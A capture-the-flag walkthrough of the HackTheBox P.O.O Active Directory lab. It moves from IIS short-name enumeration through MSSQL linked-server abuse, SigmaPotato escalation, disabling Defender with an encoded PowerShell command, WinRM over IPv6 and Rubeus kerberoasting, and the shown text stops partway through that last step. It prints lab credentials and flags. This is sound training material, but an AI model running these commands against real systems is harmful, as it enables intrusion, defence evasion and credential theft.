P.O.O
P.O.O
Overview
P.O.O is a small Active Directory PRO LAB from HackTheBox that puts enumeration, lateral movement and privilege escalation to the test. The goal is to compromise the perimeter host, escalate privileges and ultimately take over the domain, collecting several flags along the way.
The lab touches on:
- IIS short name /
.DS_Storeenumeration - MSSQL linked server abuse
SeImpersonatePrivilegeexploitation- IPv6 pivoting
- Kerberoasting
- Active Directory ACL abuse
Itβs a nice, quick challenge if you want to get a feel for chaining MSSQL links into a full domain compromise.
Walkthrough
Hereβs the nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# Nmap 7.94SVN scan initiated Sat Oct 31 21:47:36 2026 as: nmap -vvv -p 80,1433 -4 -A -oN 10.13.38.11.scan -Pn 10.13.38.11
Nmap scan report for 10.13.38.11
Host is up, received user-set (0.15s latency).
Scanned at 2026-10-31 21:47:36 WAT for 13s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2017 14.00.2056.00; RTM+
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-10-31T20:47:53+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-31T02:11:53
| Not valid after: 2056-10-31T02:11:53
| MD5: 763d:a24c:1664:4e7c:9fe6:375d:a937:5c44
| SHA-1: c244:d858:cb73:6ad7:0465:1b5a:d0a5:829c:d562:2bd0
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQdnXjCJx1TJNP9iMxj2ds7jANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYxMDMxMDIxMTUzWhgPMjA1NjEwMzEwMjExNTNaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK/cIAtr
| Znd7LKBHcgOjFshrhDC2cuomZtSG/lIKqS3MHIlNEZNI+okNoUxQ8CsaOSROSORi
| kmVMIJ4Ocu74rz24he6w1l+dnp2HRy/FQA3cirCEZsv1N+18eBSmK7D2iFssg9aF
| wbIufgbOssN6by16JlpTa1cjddbKaG1kRT/Ptit1UndKINtNT86AkOQ8qYoyydEM
| +M646N9oavUn+Br5wmCPTaxIeSAiOReYxyQXByL3ij4RuaASZlOggted7rrJ3Wgq
| VvqSCPw/uVxLrqhb5tH1hPwD+AeC3kIBebCaN0TI0j3Sw+RLdaOJ1+MuQGWRkpSU
| l66CPTmu7W1cF5UCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAYdr53aYK4YIdjkiH
| 58OLh16Ix7EU/NNrCI2BYEUM6riImAtbsFkqVb1TZXVh6x8vL4hGUaAYUUmXSHMv
| k8K8L8vYY2Wo5JhCDa87DiJDvOlVolhy1xi6Kvznpmgkc6hNmJaJAD4wggfoBYmP
| twuw/vrnn6bZ+L5IsjlCDrJQ269zeGyvRL9euHv+41z3ckmv6ylr+ogPrtppeJVG
| RcRJCYtNhNzg+bb1hi52SRSJFHtZ4vUsDH7/xgafx0Pn91UuQP0PMAR5poA6q2+n
| q1lo6SUmslGOt1Lysr9iyPX4BZkMrehouvjbgo1lK3r5cjw9E4mmfyAgzwQy5tSd
| H4YXtQ==
|_-----END CERTIFICATE-----
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 31 21:47:49 2026 -- 1 IP address (1 host up) scanned in 13.40 seconds
The IIS server is vulnerable to short name (tilde) enumeration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ shortscan --concurrency 10 http://10.13.38.11/
π Shortscan v0.9.2 Β· an IIS short filename enumeration tool by bitquark
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
URL: http://10.13.38.11/
Running: Microsoft-IIS/10.0
Vulnerable: Yes!
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
WEB~1.CON WEB.CON?
NEWFOL~2 NEWFOL? NEW%20FOLDER
DS_STO~1 DS_STO? .DS_STORE
NEWFOL~1 NEWFOL?
TRASHE~1 TRASHE? .TRASHES
TEMPLA~1 TEMPLA? TEMPLATES
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
One of the leaked short names is .DS_STORE, which is present on the webserver:
1
http://10.13.38.11/.DS_STORE
We can walk it to recover the directory structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
mark@rwx:~/Desktop/Tools/DS_Walk$ python3 ds_walk.py -u "http://10.13.38.11/"
[!] .ds_store file is present on the webserver.
[+] Enumerating directories based on .ds_server file:
----------------------------
[!] http://10.13.38.11//admin
[!] http://10.13.38.11//dev
[!] http://10.13.38.11//iisstart.htm
[!] http://10.13.38.11//Images
[!] http://10.13.38.11//JS
[!] http://10.13.38.11//META-INF
[!] http://10.13.38.11//New folder
[!] http://10.13.38.11//New folder (2)
[!] http://10.13.38.11//Plugins
[!] http://10.13.38.11//Templates
[!] http://10.13.38.11//Themes
[!] http://10.13.38.11//Uploads
[!] http://10.13.38.11//web.config
[!] http://10.13.38.11//Widgets
----------------------------
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc
----------------------------
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/core
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/db
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/include
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/src
----------------------------
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/core
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/db
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/include
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/src
----------------------------
[!] http://10.13.38.11//Images/buttons
[!] http://10.13.38.11//Images/icons
[!] http://10.13.38.11//Images/iisstart.png
----------------------------
[!] http://10.13.38.11//JS/custom
----------------------------
[!] http://10.13.38.11//Themes/default
----------------------------
[!] http://10.13.38.11//Widgets/CalendarEvents
[!] http://10.13.38.11//Widgets/Framework
[!] http://10.13.38.11//Widgets/Menu
[!] http://10.13.38.11//Widgets/Notifications
----------------------------
[!] http://10.13.38.11//Widgets/Framework/Layouts
----------------------------
[!] http://10.13.38.11//Widgets/Framework/Layouts/custom
[!] http://10.13.38.11//Widgets/Framework/Layouts/default
----------------------------
[*] Finished traversing. No remaining .ds_store files present.
[*] Cleaning up .ds_store files saved to disk.
mark@rwx:~/Desktop/Tools/DS_Walk$
Running shortscan against the db directory reveals a partial filename:
1
2
3
4
5
6
7
8
9
10
11
12
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ shortscan --concurrency 10 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
π Shortscan v0.9.2 Β· an IIS short filename enumeration tool by bitquark
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
URL: http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Running: Microsoft-IIS/10.0
Vulnerable: Yes!
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
POO_CO~1.TXT POO_CO?.TXT?
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Finished! Requests: 161; Retries: 0; Sent 37014 bytes; Received 63287 bytes
Since the filename is incomplete and we know thereβs a mssql service running, we can attempt to fuzz the remaining part of the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ egrep -r ^co /usr/share/Seclists/* | sed 's/^[^:]*://' > /tmp/list.txt
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ wc -l /tmp/list.txt
1215302 /tmp/list.txt
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ ffuf -c -u "http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_FUZZ.txt" -w /tmp/list.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_FUZZ.txt
:: Wordlist : FUZZ: /tmp/list.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
connection [Status: 200, Size: 142, Words: 3, Lines: 7, Duration: 170ms]
The full filename is Poo_connection.txt:
1
http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_connection.txt
Which hands us a set of MSSQL credentials and the first flag:
1
2
3
4
5
6
SERVER=10.13.38.11
USERID=external_user
DBNAME=POO_PUBLIC
USERPWD=#p00Public3xt3rnalUs3r#
Flag : POO{fcfb0767f5bd3cbc22f40ff5011ad555}
The credential works for MSSQL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ mssqlclient.py external_user@10.13.38.11
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 88)
[!] Press help for extra shell commands
SQL (external_user external_user@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
SQL (external_user external_user@master)> enum_owner
Database Owner
---------- -------------
master sa
tempdb sa
POO_PUBLIC external_user
We are not the database admin on this server:
1
2
3
4
5
SQL (external_user external_user@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------------- --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
external_user SQL_LOGIN 0 0 0 0 0 0 0 0 0
Thereβs a linked server COMPATIBILITY\POO_CONFIG:
1
2
3
4
5
SQL (external_user external_user@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------------ ---------------- ----------- ------------------------ ------------------ ------------ -------
COMPATIBILITY\POO_CONFIG SQLNCLI SQL Server COMPATIBILITY\POO_CONFIG NULL NULL NULL
COMPATIBILITY\POO_PUBLIC SQLNCLI SQL Server COMPATIBILITY\POO_PUBLIC NULL NULL NULL
We arenβt a db admin on it either:
1
2
3
4
5
6
SQL (external_user external_user@master)> use_link "COMPATIBILITY\POO_CONFIG"
SQL >"COMPATIBILITY\POO_CONFIG" (internal_user internal_user@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
------------- --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
internal_user SQL_LOGIN 0 0 0 0 0 0 0 0 0
However, when we connect to COMPATIBILITY\POO_PUBLIC from POO_CONFIG, it is executed as the sa user:
1
2
SQL >"COMPATIBILITY\POO_CONFIG" (internal_user internal_user@master)> use_link "COMPATIBILITY\POO_PUBLIC"
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)>
We can enable xp_cmdshell:
1
2
3
4
5
6
7
8
9
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)> enable_xp_cmdshell
INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)> RECONFIGURE
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)> xp_cmdshell "whoami"
output
---------------------------
nt service\mssql$poo_public
The command runs as the MSSQL service account, which holds SeImpersonatePrivilege, so we can abuse that to get nt authority\system.
Iβd need to upload SigmaPotato to the box (Windows Defender is enabled, but we can bypass it).
Since I donβt know the sa user password, I first escalated external_user to sysadmin:
1
2
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)> ALTER SERVER ROLE [sysadmin] ADD MEMBER [external_user];
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)>
Then uploaded SigmaPotato over MSSQL:
1
2
3
4
5
6
7
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nxc mssql 10.13.38.11 -u external_user -p '#p00Public3xt3rnalUs3r#' --local-auth --put-file /home/mark/Desktop/Tools/Windows/SigmaPotato.exe "C:\users\public\SigmaPotato.exe"
MSSQL 10.13.38.11 1433 COMPATIBILITY [*] Windows 10 / Server 2019 Build 17763 (2017 14.0.2056) (name:COMPATIBILITY) (domain:intranet.poo) (EncryptionReq:False)
MSSQL 10.13.38.11 1433 COMPATIBILITY [+] COMPATIBILITY\external_user:#p00Public3xt3rnalUs3r# (Pwn3d!)
MSSQL 10.13.38.11 1433 COMPATIBILITY [*] Copy /home/mark/Desktop/Tools/Windows/SigmaPotato.exe to C:\users\public\SigmaPotato.exe
MSSQL 10.13.38.11 1433 COMPATIBILITY [*] Size is 63488 bytes
MSSQL 10.13.38.11 1433 COMPATIBILITY [+] File has been uploaded on the remote machine
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$
With sysadmin, we can run SigmaPotato through xp_cmdshell to confirm we land as SYSTEM:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
SQL (external_user dbo@master)> xp_cmdshell "c:\users\public\SigmaPotato.exe whoami"
output
--------------------------------------------------------------------------------
[+] GetBindingIdentityFromStream: sigmapotato, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil
[?] Printing TargetAssembly otherwise it dies because of Go GC &{0x51658940000 0x51658926000 63488 <nil>}
[+] Set Custom Host Successfully
[+] Started CLR Succesfully
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Searching for System Token...
[+] PID: 972 | Token: 0x864 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 1112
[+] Current Command Length: 6 characters
[+] Creating Process via 'CreateProcessAsUserW'
[+] Process Started with PID: 5332
NULL
[+] Process Output:
nt authority\system
NULL
Done Executing ......................
NULL
SQL (external_user dbo@master)>
The web application requires authentication when we access /admin, so we can read the configuration at C:\inetpub\wwwroot\web.config to recover the credentials.
But before that, I disabled Defender:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
SQL (external_user dbo@master)> xp_cmdshell "\users\public\SigmaPotato.exe "powershell -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAFQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA="
output
--------------------------------------------------------------------------------
[+] GetBindingIdentityFromStream: sigmapotato, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil
[?] Printing TargetAssembly otherwise it dies because of Go GC &{0x14015a998180 0x14015aae4000 63488 <nil>}
[+] Set Custom Host Successfully
[+] Started CLR Succesfully
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Searching for System Token...
[+] PID: 972 | Token: 0x864 | User: NT AUTHORITY\SYSTEM
[+] Found System Token: True
[+] Duplicating Token... [+] New Token Handle: 1180
[+] Current Command Length: 148 characters
[+] Creating Process via 'CreateProcessAsUserW'
[+] Process Started with PID: 5344
NULL
[+] Process Output:
NULL
Done Executing ......................
NULL
SQL (external_user dbo@master)>
Then copied web.config to web.txt so we can read it over HTTP:
1
Copy-Item c:\inetpub\wwwroot\web.config c:\users\public\web.txt
It gives us the Administrator credential:
1
Administrator:EverybodyWantsToWorkAtP.O.O.
Which lets us reach /admin and grab the next flag:
1
2
3
4
5
6
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ curl -s http://administrator:EverybodyWantsToWorkAtP.O.O.@10.13.38.11/admin/
"I can't go back to yesterday, because i was a different person then..."<br>
- Alice in Wonderland<br>
<br>
Flag : POO{4882bd2ccfd4b5318978540d9843729f}
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$
Thereβs winrm (5985) listening locally:
1
2
3
4
5
6
7
8
9
10
11
12
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa dbo@master)> xp_cmdshell "netstat -ano"
output
---------------------------------------------------------------------------
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 972
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 4996
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
Itβs only bound locally, but the box has an IPv6 address we can reach it on:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SQL (external_user dbo@master)> xp_cmdshell "ipconfig"
output
---------------------------------------------------------------------
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::1001
IPv6 Address. . . . . . . . . . . : dead:beef::f638:ba0c:6dd4:8cb1
Link-local IPv6 Address . . . . . : fe80::c184:ac93:1075:abe4%8
IPv4 Address. . . . . . . . . . . : 10.13.38.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : dead:beef::1
fe80::250:56ff:fe94:ea57%8
10.13.38.2
Ethernet adapter Ethernet1 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.20.128.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Scanning port 5985 over IPv6 shows itβs open on dead:beef::1001:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nmap -6 dead:beef::f638:ba0c:6dd4:8cb1 -p5985
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-02 10:53 WAT
Nmap scan report for dead:beef::f638:ba0c:6dd4:8cb1
Host is up (0.33s latency).
PORT STATE SERVICE
5985/tcp filtered wsman
Nmap done: 1 IP address (1 host up) scanned in 3.72 seconds
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nmap -6 dead:beef::1001 -p5985
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-02 10:53 WAT
Nmap scan report for dead:beef::1001
Host is up (0.25s latency).
PORT STATE SERVICE
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$
Since winrm is open, we can log into it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ evil-winrm-py -u administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i dead:beef::1001
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.7.0
[*] Connecting to 'dead:beef::1001:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\desktop
evil-winrm-py PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/26/2018 5:29 PM 37 flag.txt
evil-winrm-py PS C:\Users\Administrator\desktop> more flag.txt
POO{ff87c4fe10e2ef096f9a96a01c646f8f}
Thereβs another network interface pointing at an internal domain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
evil-winrm-py PS C:\Users\Administrator> ping intranet.poo
Pinging intranet.poo [172.20.128.53] with 32 bytes of data:
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Ping statistics for 172.20.128.53:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
evil-winrm-py PS C:\Users\Administrator> ping DC
Pinging DC.intranet.poo [172.20.128.53] with 32 bytes of data:
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Ping statistics for 172.20.128.53:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
evil-winrm-py PS C:\Users\Administrator>
The DC (DC.intranet.poo) sits at 172.20.128.53. Since we canβt enumerate the domain as the local Administrator, we need to run in the context of the computer account or SYSTEM.
But even if we authenticate to winrm as the computer account, the Kerberos double hop is still in the way.
For some reason, SigmaPotato refuses to work here, we can use a scheduled task to execute commands as SYSTEM instead:
1
2
3
4
5
- schtasks /create /tn sysout /tr "cmd /c whoami > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
- schtasks /run /tn sysout
- Start-Sleep 60
- type C:\Windows\Temp\o.txt
- schtasks /delete /tn sysout /f
Using that pattern to enumerate domain users:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c net user /domain > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> Start-Sleep 3
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Windows\Temp\o.txt
The request will be processed at a domain controller for domain intranet.poo.
User accounts for \\DC.intranet.poo
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
krbtgt mr3ks p00_adm
p00_dev p00_hr
The command completed with one or more errors.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /delete /tn sysout /f
SUCCESS: The scheduled task "sysout" was successfully deleted.
Now we can upload SharpHound and create a scheduled task to run it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c C:\Users\Administrator\Documents\SharpHound.exe -c All -d intranet.poo --zipfilename intranet --outputdirectory c:\users\administrator\documents" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> ls
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2026 1:40 PM 32620 20261102134012_intranet.zip
-a---- 11/2/2026 1:40 PM 1553 OTM1MzQ0ZGMtYjQyMS00OTQyLWEzMDYtZDVlNzVmNzkwNWVm.bin
-a---- 11/2/2026 1:37 PM 1351680 SharpHound.exe
evil-winrm-py PS C:\Users\Administrator\Documents> download 20261102134012_intranet.zip
Downloading C:\Users\Administrator\Documents\20261102134012_intranet.zip: 64.0kB [00:00, 318MB/s]
[+] File downloaded successfully and saved as: /home/mark/Desktop/Labs/HTB/ProLABS/POO/20261102134012_intranet.zip
evil-winrm-py PS C:\Users\Administrator\Documents>
Uploading the data to BloodHound shows that we have 2 kerberoastable users:
P00_ADMP00_HR
The attack path looks like this:
P00_ADM@INTRANET.POOis a member of the groupP00 HELP DESK@INTRANET.POO- Members of
P00 HELP DESK@INTRANET.POOhaveGenericAlloverADMINISTRATOR@INTRANET.POOandMR3KS@INTRANET.POO MR3KS@INTRANET.POOis a member ofDOMAIN ADMINS@INTRANET.POO
So if we can crack the P00_ADM hash, we get a path to Domain Admin by resetting the password of either MR3KS or Administrator.
We can use Rubeus to request the hashes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c C:\users\administrator\documents\Rubeus.exe kerberoast /nowrap > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> Start-Sleep 60
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Windows\Temp\o.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : intranet.poo
[*] Searching path 'LDAP://DC.intranet.poo/DC=intranet,DC=poo' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 2
[*] SamAccountName : p00_hr
[*] DistinguishedName : CN=p00_hr,CN=Users,DC=intranet,DC=poo
[*] ServicePrincipalName : HR_peoplesoft/intranet.poo:1433
[*] PwdLastSet : 5/11/2018 6:32:09 AM
[*] Supported ETypes : RC4_HMAC_DEFAULT
